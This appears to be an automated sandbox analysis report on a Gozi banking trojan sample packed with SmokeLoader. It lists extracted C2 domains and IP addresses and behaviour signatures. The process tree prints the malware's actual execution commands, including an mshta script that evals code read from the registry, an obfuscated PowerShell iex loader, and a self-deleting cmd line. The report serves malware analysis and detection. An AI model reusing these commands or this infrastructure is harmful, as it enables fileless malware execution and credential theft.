Analysis
- max time kernel
151s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
29/12/2022, 03:32
General
- Target file.exe
- Size 245KB
- Sample221229-d3l2bsfc9y
- SHA256 241344bd5a7cf25d2349bde6a2e4fc11a9d826583d1185f293bcf24abd071ae4
Malware Config
Extracted
-
gozi
Extracted
-
gozi
-
22500
-
confisg.edge.skype.com
-
http://
-
s28bxcw.xyz
-
config.edgse.skype.com
-
http://89.43.107.7
-
base_path
/recycle/
-
build
250249
-
exe_type
loader
-
extension
.alo
-
server_id
50
Extracted
-
gozi
-
22500
-
confisg.edge.skype.com
-
http://5icvzwz.xyz
-
http://185.14.45.80
-
base_path
/recycle/
-
build
250249
-
exe_type
worker
-
extension
.alo
-
server_id
50
Signatures
- Detects Smokeloader packer 1 IoCs
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 2 IoCs
- Suspicious use of SetThreadContext 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 8 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 49 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\CAC7.dll2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\CAC7.dll3⤵
- Loads dropped DLL
-
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Oijk='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Oijk).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\16F27831-7D02-B8E1-B7AA-016CDB7EC560\\\ReturnStop'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name lpxxpntmq -value gp; new-alias -name cengrpv -value iex; cengrpv ([System.Text.Encoding]::ASCII.GetString((lpxxpntmq "HKCU:Software\AppDataLow\Software\Microsoft\16F27831-7D02-B8E1-B7AA-016CDB7EC560").FileDesktop))3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c0adhqtq\c0adhqtq.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA1AA.tmp" "c:\Users\Admin\AppData\Local\Temp\c0adhqtq\CSC2E8F7C257FFE4E3991E61FD1CDDE590.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nsblacgu\nsblacgu.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA284.tmp" "c:\Users\Admin\AppData\Local\Temp\nsblacgu\CSCEA8300A89D44418EA4EFEC0441DD16.TMP"5⤵
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\CAC7.dll"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
CAC7.dll
CAC7.dll
CAC7.dll
RESA1AA.tmp
RESA284.tmp
c0adhqtq.dll
nsblacgu.dll
CSC2E8F7C257FFE4E3991E61FD1CDDE590.TMP
c0adhqtq.0.cs
c0adhqtq.cmdline
CSCEA8300A89D44418EA4EFEC0441DD16.TMP
nsblacgu.0.cs
nsblacgu.cmdline
memory/2220-174-0x00000000087B0000-0x0000000008852000-memory.dmp
memory/2268-132-0x0000000000669000-0x000000000067A000-memory.dmp
memory/2268-135-0x0000000000400000-0x0000000000461000-memory.dmp
memory/2268-134-0x0000000000400000-0x0000000000461000-memory.dmp
memory/2268-133-0x0000000000600000-0x0000000000609000-memory.dmp
memory/2280-177-0x000002832C320000-0x000002832C3C2000-memory.dmp
memory/3420-172-0x00000210D5EA0000-0x00000210D5F42000-memory.dmp
memory/3536-179-0x0000000000856B20-0x0000000000856B24-memory.dmp
memory/3536-181-0x0000000000D30000-0x0000000000DC6000-memory.dmp
memory/3712-173-0x0000012D443A0000-0x0000012D44442000-memory.dmp
memory/4492-180-0x0000026C3BDE0000-0x0000026C3BE82000-memory.dmp
memory/4708-178-0x00000297DEF30000-0x00000297DEFD2000-memory.dmp
memory/4732-170-0x000001BBB31E0000-0x000001BBB321C000-memory.dmp
memory/4732-169-0x00007FFCC3810000-0x00007FFCC42D1000-memory.dmp
memory/4732-153-0x000001BBB2540000-0x000001BBB2562000-memory.dmp
memory/4732-154-0x00007FFCC3810000-0x00007FFCC42D1000-memory.dmp
memory/4800-141-0x00000000006A0000-0x0000000000735000-memory.dmp
memory/4800-143-0x00000000006A0000-0x0000000000735000-memory.dmp
memory/4800-144-0x00000000006A1000-0x00000000006C2000-memory.dmp
memory/4800-146-0x00000000009D0000-0x00000000009D6000-memory.dmp
memory/4800-147-0x0000000002170000-0x000000000217D000-memory.dmp